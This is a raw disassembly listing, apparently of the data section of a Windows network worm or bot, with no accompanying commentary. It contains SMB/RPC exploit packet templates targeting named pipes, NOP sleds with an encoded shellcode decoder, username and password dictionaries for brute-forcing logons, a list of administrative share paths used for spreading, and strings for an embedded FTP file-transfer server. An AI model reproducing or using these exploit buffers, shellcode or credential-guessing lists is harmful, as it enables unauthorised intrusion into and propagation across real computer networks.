16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 0 dword_41B20C dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+1B9o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41B2B0 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+216o dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch dd 100300h, 31C0000h, 0 dd 3040000h, 0 dd 4221001Fh, 184E8h, 0 dd 10000h, 0 dd 1630000h, 0 dd 1630000h, 0 dword_41B338 dd 0 ; DATA XREF: sub_410B52+2C7o dd 0D7h, 1, 0 dd 1, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dword_41B35C dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+348o dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0) dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch dd 100300h, 4800000h, 0 dd 4680000h, 0 dd 72B3001Fh, 1A381h, 0 dd 10000h, 0 dd 2150000h, 0 dd 2150000h, 0 dword_41B3E4 dd 0 ; DATA XREF: sub_410B52+3DEo dd 85h, 2, 0 dd 2, 2EBh, 85h, 2 dup(0) dword_41B408 dd 20804h, 0 ; DATA XREF: sub_410B52+285o ; sub_410B52+29Bo ... dword_41B410 dd 2080Ah, 0 ; DATA XREF: sub_410B52+26Fo dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_1: unicode 0, <Windows 2000 2195>,0 aWindows20005_2: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0 dd 3F3F0000h, 3F3F3Fh, 0 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 500800h, 48000010h, 0 dd 10h, 2 dup(0) dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h dd 0 dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 align 10h jmp short loc_41B84A ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41B852 ; --------------------------------------------------------------------------- loc_41B84A: ; CODE XREF: .data:0041B840j nop nop db 67h adc eax, 8EB767Ah loc_41B852: ; CODE XREF: .data:0041B848j nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 9090767Ah nop nop nop nop nop jmp short loc_41B8A1 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41B8A1: ; CODE XREF: .data:0041B897j nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 db 8 dup(90h) ; --------------------------------------------------------------------------- jmp short loc_41B97E ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41B986 ; --------------------------------------------------------------------------- loc_41B97E: ; CODE XREF: .data:0041B974j nop nop db 67h adc eax, 8EB767Ah loc_41B986: ; CODE XREF: .data:0041B97Cj nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop jns short near ptr word_41B9F6 add [ecx], eax jmp short loc_41B9C6 ; --------------------------------------------------------------------------- align 10h dd 767A1567h db 2 dup(90h) ; --------------------------------------------------------------------------- loc_41B9C6: ; CODE XREF: .data:0041B9BCj nop nop nop nop nop jmp short loc_41B9D5 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41B9D5: ; CODE XREF: .data:0041B9CBj nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dd 7E0h, 4, 0 db 2 dup(0) word_41B9F6 dw 0 ; CODE XREF: .data:0041B9B8j dd 0D0EC8166h, 7, 129F74h, 0 dd 127D78h, 0 ; --------------------------------------------------------------------------- pusha jmp short loc_41BA16 ; =============== S U B R O U T I N E ======================================= sub_41BA13 proc near ; CODE XREF: .data:loc_41BA16p pop ebx push ebx retn sub_41BA13 endp ; --------------------------------------------------------------------------- loc_41BA16: ; CODE XREF: .data:0041BA11j call sub_41BA13 xor eax, eax add al, 34h add eax, ebx push eax pop ebx loc_41BA23: ; CODE XREF: .data:0041BA4Cj xor edx, edx add dl, [eax] inc eax add dh, [eax] inc eax push eax xor eax, eax add al, 41h sub dl, al sub dh, al shl dl, 4 shr dx, 4 xor eax, eax xor dh, dh add al, [ebx] sub [ebx], al add [ebx], dx inc ebx pop eax xor ecx, ecx add cl, [eax] loopne loc_41BA23 popa add [ebx+31h], al mov ebp, 7FC77h add [ecx], al inc ebx loc_41BA5A: ; CODE XREF: .data:0041BA5Cj xor eax, eax ja short loc_41BA5A pop es ; --------------------------------------------------------------------------- db 0 dd 4F020100h, 7E7655Bh, 0 dd 195h, 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 byte_41BB00 db 90h ; DATA XREF: sub_410F60+35r ; sub_410F60+73r ... dword_41BB01 dd 0 ; DATA XREF: sub_410F60+A3r db 9Eh, 2 dup(0) dd 0F50000h, 0F8000000h, 0 dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h dd 1400000h, 41000000h, 4, 842h, 24300h, 40450000h, 46000000h dd 10h, 2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h dd 9, 393h, 419500h, 11960000h, 97000000h, 21h, 999h, 0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOemuser ; "oemuser" dd offset aWwwadmin ; "wwwadmin" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- adc ah, al inc ecx add al, dh retn ; --------------------------------------------------------------------------- inc ecx add ah, ch retn ; --------------------------------------------------------------------------- inc ecx add ah, ah retn ; --------------------------------------------------------------------------- inc ecx add al, ah retn ; --------------------------------------------------------------------------- inc ecx add al, bl retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- inc ecx add al, cl retn ; --------------------------------------------------------------------------- inc ecx add al, al retn ; --------------------------------------------------------------------------- inc ecx add [eax-4FFFBE3Dh], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax-3Ch], al inc ecx add [eax-5FFFBE3Dh], ch retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8-3C73FFBFh], dl inc ecx add [eax-7FFFBE3Dh], cl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8+41h], dh add [ebx+eax*8+41h], ch add [ebx+eax*8+41h], ah add [eax-3Dh], ah inc ecx add [ebx+eax*8+41h], bl add [ebx+eax*8+41h], dl add [eax-3Dh], dl inc ecx add [eax-3Dh], cl inc ecx add [eax-3Dh], al inc ecx add [eax], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax], dh retn ; --------------------------------------------------------------------------- inc ecx add [eax], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax], ah retn ; --------------------------------------------------------------------------- inc ecx add [eax], bl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8], dl inc ecx add [esp+eax*8+41h], dh add [eax], cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aStudent ; "student" ; --------------------------------------------------------------------------- clc retn 41h ; --------------------------------------------------------------------------- dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dd offset aC ; "c$" dd offset aD ; "d$" ; --------------------------------------------------------------------------- fadd st(2), st inc ecx add al, dl retn 41h ; --------------------------------------------------------------------------- dd offset aDShared ; "d$\\shared" ; --------------------------------------------------------------------------- mov eax, 0AC0041C2h retn 41h ; --------------------------------------------------------------------------- mov al, ds:8C0041C2h retn 41h ; --------------------------------------------------------------------------- dd offset aCWindowsSystem ; "c$\\windows\\system32" ; --------------------------------------------------------------------------- push 600041C2h retn 41h ; --------------------------------------------------------------------------- xor dl, al inc ecx add [eax], ch retn 41h ; --------------------------------------------------------------------------- dd offset aIpc ; "IPC$" dd 0 dd offset byte_41DE30 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" ; --------------------------------------------------------------------------- aam 0C4h inc ecx add al, cl les eax, [ecx+0] rol ah, 41h add [eax-4BFFBE3Ch], bh les eax, [ecx+0] sbb al, 0C2h inc ecx add [eax], bl retn 41h ; --------------------------------------------------------------------------- adc al, 0C2h inc ecx add [eax], cl retn 41h ; --------------------------------------------------------------------------- cld rol dword ptr [ecx+0], 0F4h rol dword ptr [ecx+0], 0F0h rol dword ptr [ecx+0], 0E4h rol dword ptr [ecx+0], 0DCh rol dword ptr [ecx+0], 0D8h rol dword ptr [ecx+0], 0D4h rol dword ptr [ecx+0], 0D0h rol dword ptr [ecx+0], 0CCh rol dword ptr [ecx+0], 0C8h rol dword ptr [ecx+0], 0C0h rol dword ptr [ecx+0], 0B8h rol dword ptr [ecx+0], 0B0h rol dword ptr [ecx+0], 0A8h rol dword ptr [ecx+0], 9Ch rol dword ptr [ecx+0], 90h rol dword ptr [ecx+0], 84h rol dword ptr [ecx+0], 7Ch rol dword ptr [ecx+0], 70h rol dword ptr [ecx+0], 68h rol dword ptr [ecx+0], 60h rol dword ptr [ecx+0], 50h xchg eax, edx inc ecx add [eax-3Fh], bl inc ecx add [eax+44004198h], dl xchg eax, edx inc ecx add [eax-3Fh], dl inc ecx add [eax-3Fh], cl inc ecx add [eax-3Fh], al inc ecx add al, dl retn ; --------------------------------------------------------------------------- inc ecx add al, cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aDemo ; "demo" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aNull ; "null" dd offset aTemp ; "temp" dd offset aTemp123 ; "temp123" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aSex ; "sex" dd offset aLetmein ; "letmein" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWwwadmin ; "wwwadmin" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- adc ah, al inc ecx add al, dh retn ; --------------------------------------------------------------------------- inc ecx add ah, ch retn ; --------------------------------------------------------------------------- inc ecx add ah, ah retn ; --------------------------------------------------------------------------- inc ecx add al, ah retn ; --------------------------------------------------------------------------- inc ecx add al, bl retn ; --------------------------------------------------------------------------- inc ecx add al, al retn ; --------------------------------------------------------------------------- inc ecx add [eax-4FFFBE3Dh], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax-3Ch], al inc ecx add [eax-5FFFBE3Dh], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax-40h], bh inc ecx add [eax+eax*8+41h], ch add [ebx+eax*8-3C73FFBFh], dl inc ecx add [eax-40h], ah inc ecx add [eax-40h], bl inc ecx add [eax-40h], dl inc ecx add [eax-40h], cl inc ecx add al, dh rol byte ptr [ecx+0], 88h retn ; --------------------------------------------------------------------------- inc ecx add [eax-40h], al inc ecx add [eax], bh rol byte ptr [ecx+0], 30h rol byte ptr [ecx+0], 28h rol byte ptr [ecx+0], 80h retn ; --------------------------------------------------------------------------- inc ecx add [eax+eax*8], bl inc ecx add [eax+eax*8], cl inc ecx add [ebx+eax*8+41h], dh add [ebx+eax*8+41h], ch add [eax+eax*8], al inc ecx add al, bh mov edi, 0BFE80041h inc ecx add [ebx+eax*8+41h], ah add ah, dl mov edi, 0BFD00041h inc ecx add ah, cl mov edi, 0BFC40041h inc ecx add [eax-3Dh], ah inc ecx add [ebx+eax*8+41h], bl add [eax-5BFFBE41h], dh mov edi, 0C3540041h inc ecx add [eax-3Dh], dl inc ecx add [eax-3Dh], cl inc ecx add [eax-3Dh], al inc ecx add [eax], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax], dh retn ; --------------------------------------------------------------------------- inc ecx add [eax-67FFBE41h], ah mov edi, 0BF940041h inc ecx add [eax], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax], ah retn ; --------------------------------------------------------------------------- inc ecx add [edi+edi*4-407BFFBFh], cl inc ecx add [eax], bl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8], dl inc ecx add [esp+eax*8+41h], dh add [eax], cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aStudent ; "student" ; --------------------------------------------------------------------------- clc retn 41h ; --------------------------------------------------------------------------- dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 aWinpass db 'winpass',0 aBlank db 'blank',0 align 4 aXp_0 db 'xp',0 align 4 aNokia db 'nokia',0 align 10h aHp db 'hp',0 align 4 aOrainstall db 'orainstall',0 align 10h aSqlpassoainsta db 'sqlpassoainstall',0 align 4 aDb1234 db 'db1234',0 align 4 aDb2 db 'db2',0 aDb1 db 'db1',0 aDatabasepasswo db 'databasepassword',0 align 4 aDatabasepass db 'databasepass',0 align 4 aDbpassword db 'dbpassword',0 align 4 aDbpass db 'dbpass',0 align 4 aDomainpassword db 'domainpassword',0 align 4 aDomainpass db 'domainpass',0 align 4 aHello db 'hello',0 align 10h aHell db 'hell',0 align 4 aLove db 'love',0 align 10h aMoney db 'money',0 align 4 aSlut db 'slut',0 align 10h aBitch db 'bitch',0 align 4 aFuck db 'fuck',0 align 10h aExchange db 'exchange',0 align 4 aLoginpass db 'loginpass',0 align 4 aLogin db 'login',0 align 10h aQwe db 'qwe',0 ; DATA XREF: .data:0041BE4Co aZxc db 'zxc',0 ; DATA XREF: .data:0041BE48o aAsd db 'asd',0 ; DATA XREF: .data:0041BE44o aQaz db 'qaz',0 ; DATA XREF: .data:0041BE40o aWin2000 db 'win2000',0 ; DATA XREF: .data:0041BE3Co aWinnt db 'winnt',0 ; DATA XREF: .data:0041BE38o align 10h aWinxp db 'winxp',0 ; DATA XREF: .data:0041BE34o align 4 aWin2k db 'win2k',0 ; DATA XREF: .data:0041BE30o align 10h aWin98 db 'win98',0 ; DATA XREF: .data:0041BE2Co align 4 aWindows db 'windows',0 ; DATA XREF: .data:0041BE28o aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0041BE20o align 4 aOem db 'oem',0 ; DATA XREF: .data:0041BE18o aAccounting db 'accounting',0 ; DATA XREF: .data:0041BE08o align 4 aAccounts db 'accounts',0 ; DATA XREF: .data:0041BE04o align 4 aLetmein db 'letmein',0 ; DATA XREF: .data:0041BE00o aSex db 'sex',0 ; DATA XREF: .data:0041BDFCo aOutlook db 'outlook',0 ; DATA XREF: .data:0041BDECo aMail db 'mail',0 ; DATA XREF: .data:0041BDE8o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .data:0041BDE4o align 4 aTemp123 db 'temp123',0 ; DATA XREF: .data:0041BDE0o aTemp db 'temp',0 ; DATA XREF: .data:0041BDDCo align 4 aNull db 'null',0 ; DATA XREF: .data:0041BDD8o align 4 aDefault db 'default',0 ; DATA XREF: .data:0041BDC8o aChangeme db 'changeme',0 ; DATA XREF: .data:0041BDC4o align 4 aDemo db 'demo',0 ; DATA XREF: .data:0041BDB4o align 10h aTest db 'test',0 align 4 a2005 db '2005',0 align 10h a2004 db '2004',0 align 4 a2001 db '2001',0 align 10h aSecret db 'secret',0 align 4 aPayday db 'payday',0 align 10h aDeadline db 'deadline',0 align 4 aWork db 'work',0 align 4 a1234567890 db '1234567890',0 align 10h a123456789 db '123456789',0 align 4 a12345678 db '12345678',0 align 4 a1234567 db '1234567',0 a123456 db '123456',0 align 4 a12345 db '12345',0 align 10h a1234 db '1234',0 align 4 a123 db '123',0 a12 db '12',0 align 10h a1: unicode 0, <1>,0 a007 db '007',0 aPwd db 'pwd',0 aPass db 'pass',0 align 4 aPass1234 db 'pass1234',0 align 10h aDba db 'dba',0 aPasswd db 'passwd',0 align 4 aPassword db 'password',0 ; DATA XREF: .data:0041D790o align 4 aPassword1 db 'password1',0 align 4 aAbc db 'abc',0 aAb db 'ab',0 align 4 aA_0: unicode 0, <a>,0 aIpc db 'IPC$',0 ; DATA XREF: .data:0041BD04o align 4 aPrint db 'print$',0 align 10h aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0 aAdmin_0 db 'admin$',0 align 4 aAdminSystem32 db 'Admin$\system32',0 aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: .data:0041BCF0o aCWinntSystem32 db 'c$\winnt\system32',0 align 10h aCWindows db 'c$\windows',0 align 4 aCWinnt db 'c$\winnt',0 align 4 aEShared db 'e$\shared',0 align 4 aDShared db 'd$\shared',0 ; DATA XREF: .data:0041BCDCo align 10h aCShared db 'c$\shared',0 align 4 aE db 'e$',0 align 10h aD db 'd$',0 ; DATA XREF: .data:0041BCD0o align 4 aC db 'c$',0 ; DATA XREF: .data:0041BCCCo align 4 aStaff db 'staff',0 ; DATA XREF: .data:0041BCC4o ; .data:0041BF7Co align 10h aTeacher db 'teacher',0 ; DATA XREF: .data:0041BCC0o ; .data:0041BF78o aOwner db 'owner',0 align 10h aStudent db 'student',0 ; DATA XREF: .data:0041BCB8o ; .data:0041BF70o aIntranet db 'intranet',0 align 4 aLan_0 db 'lan',0 aMain db 'main',0 ; DATA XREF: .data:00416ACAo ; .data:00416AECo align 10h aOffice db 'office',0 align 4 aControl db 'control',0 aSiemens db 'siemens',0 aCompaq db 'compaq',0 align 10h aDell db 'dell',0 align 4 aCisco db 'cisco',0 align 10h aIbm db 'ibm',0 aOracle db 'oracle',0 align 4 aSql db 'sql',0 aSa db 'sa',0 align 4 aData db 'data',0 align 4 aAccess db 'access',0 align 4 aDatabase db 'database',0 align 10h aDomain db 'domain',0 align 4 aGod db 'god',0 aBackup db 'backup',0 align 4 aTechnical db 'technical',0 align 10h aMary db 'mary',0 align 4 aKatie db 'katie',0 align 10h aKate db 'kate',0 align 4 aGeorge db 'george',0 align 10h aEric db 'eric',0 align 4 aNone db 'none',0 align 10h aGuest db 'guest',0 align 4 aChris db 'chris',0 align 10h aIan db 'ian',0 aNeil db 'neil',0 align 4 aLee db 'lee',0 aBrian db 'brian',0 align 4 aSusan db 'susan',0 align 10h aSue db 'sue',0 ; DATA XREF: .data:0041BC24o ; .data:0041BE78o aSam db 'sam',0 ; DATA XREF: .data:0041BC20o ; .data:0041BE74o aLuke db 'luke',0 ; DATA XREF: .data:0041BC1Co ; .data:0041BE70o align 10h aPeter db 'peter',0 ; DATA XREF: .data:0041BC18o ; .data:0041BE6Co align 4 aJohn db 'john',0 ; DATA XREF: .data:0041BC14o ; .data:0041BE68o align 10h aMike db 'mike',0 ; DATA XREF: .data:0041BC10o ; .data:0041BE64o align 4 aBill db 'bill',0 ; DATA XREF: .data:0041BC0Co ; .data:0041BE60o align 10h aFred db 'fred',0 ; DATA XREF: .data:0041BC08o ; .data:0041BE5Co align 4 aJoe db 'joe',0 ; DATA XREF: .data:0041BC04o ; .data:0041BE58o aJen db 'jen',0 ; DATA XREF: .data:0041BC00o ; .data:0041BE54o aBob db 'bob',0 ; DATA XREF: .data:0041BBFCo ; .data:0041BE50o aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0041BBF8o ; .data:0041BE24o align 10h aOemuser db 'oemuser',0 ; DATA XREF: .data:0041BBF4o ; .data:0041BE1Co aUser db 'user',0 ; DATA XREF: .data:0041BBF0o ; .data:0041BE14o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: .data:0041BBECo ; .data:0041BE10o align 4 aHome db 'home',0 ; DATA XREF: .data:0041BBE8o ; .data:0041BE0Co align 4 aInternet db 'internet',0 ; DATA XREF: .data:0041BBE4o ; .data:0041BDF8o align 10h aWww db 'www',0 ; DATA XREF: .data:0041BBE0o ; .data:0041BDF4o aWeb db 'web',0 ; DATA XREF: .data:0041BBDCo ; .data:0041BDF0o aRoot db 'root',0 ; DATA XREF: .data:0041BBD8o ; .data:0041BDD4o align 10h aServer_0 db 'server',0 ; DATA XREF: .data:0041BBD4o ; .data:0041BDD0o align 4 aLinux db 'linux',0 ; DATA XREF: .data:0041BBCCo ; .data:0041BDC0o align 10h aUnix db 'unix',0 ; DATA XREF: .data:0041BBC8o ; .data:0041BDBCo align 4 aComputer db 'computer',0 ; DATA XREF: .data:0041BBC4o ; .data:0041BDB8o align 4 aAdm db 'adm',0 ; DATA XREF: .data:0041BBC0o aAdmin db 'admin',0 ; DATA XREF: .data:0041BBBCo align 10h aAdmins db 'admins',0 ; DATA XREF: .data:0041BBB8o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .data:0041BBB4o aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0041BBB0o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .data:0041BBACo ; .data:0041BD14o align 4 aAdministrator db 'administrator',0 ; DATA XREF: .data:0041BBA8o ; .data:0041BD10o align 4 a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B:loc_4119BAo a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+843o dword_41C514 dd 135A78h ; DATA XREF: sub_41113B+834r align 10h unk_41C520 db 2Dh ; - ; DATA XREF: sub_41113B+80Do db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TransferToSC db '- %u. Transfer to %s complete.',0 aFtp_0 db 'ftp',0 ; DATA XREF: sub_41113B+808o dword_41C54C dd 157728h ; DATA XREF: sub_41113B+73Er dd 2 dup(0) dword_41C558 dd 20363232h, 0A0D2Dh ; DATA XREF: sub_41113B+6F7o ; sub_41113B+7AAo aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0 align 4 a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+5C7o ; sub_41113B+751o dword_41C5DC dd 146AF8h ; DATA XREF: sub_41113B+5B4r dd 2 dup(0) dword_41C5E8 dd 20333132h, 0A0D7525h, 0 ; DATA XREF: sub_41113B+56Do dword_41C5F4 dd 1227B0h ; DATA XREF: sub_41113B+4EDr align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o align 4 dword_41C614 dd 0F6578h ; DATA XREF: sub_41113B+3EAr align 10h dword_41C620 dd 20353234h, 0A0D2Dh ; DATA XREF: sub_41113B+3A3o dword_41C628 dd 0FED08h ; DATA XREF: sub_41113B+394r dd 2 dup(0) dword_41C634 dd 20303032h, 0A0D2Dh ; DATA XREF: sub_41113B+34Do ; sub_41113B+4A6o dword_41C63C dd 128230h ; DATA XREF: sub_41113B+33Er dd 2 dup(0) dword_41C648 dd 20373532h, 20222F22h, 0A0D2Dh ; DATA XREF: sub_41113B+2F7o dword_41C654 dd 1F738h ; DATA XREF: sub_41113B+2E8r dd 0 dword_41C65C dd 20313132h, 0A0D2Dh ; DATA XREF: sub_41113B+2A1o dword_41C664 dd 1232B8h ; DATA XREF: sub_41113B+292r align 10h dword_41C670 dd 20353132h, 0A0D2Dh ; DATA XREF: sub_41113B+24Bo dword_41C678 dd 124AF8h ; DATA XREF: sub_41113B+23Cr dd 2 dup(0) dword_41C684 dd 20303332h, 0A0D2Dh ; DATA XREF: sub_41113B+1E1o dword_41C68C dd 0FECD8h ; DATA XREF: sub_41113B+1C8r dd 2 dup(0) dword_41C698 dd 20313333h, 0A0D2Dh ; DATA XREF: sub_41113B+181o 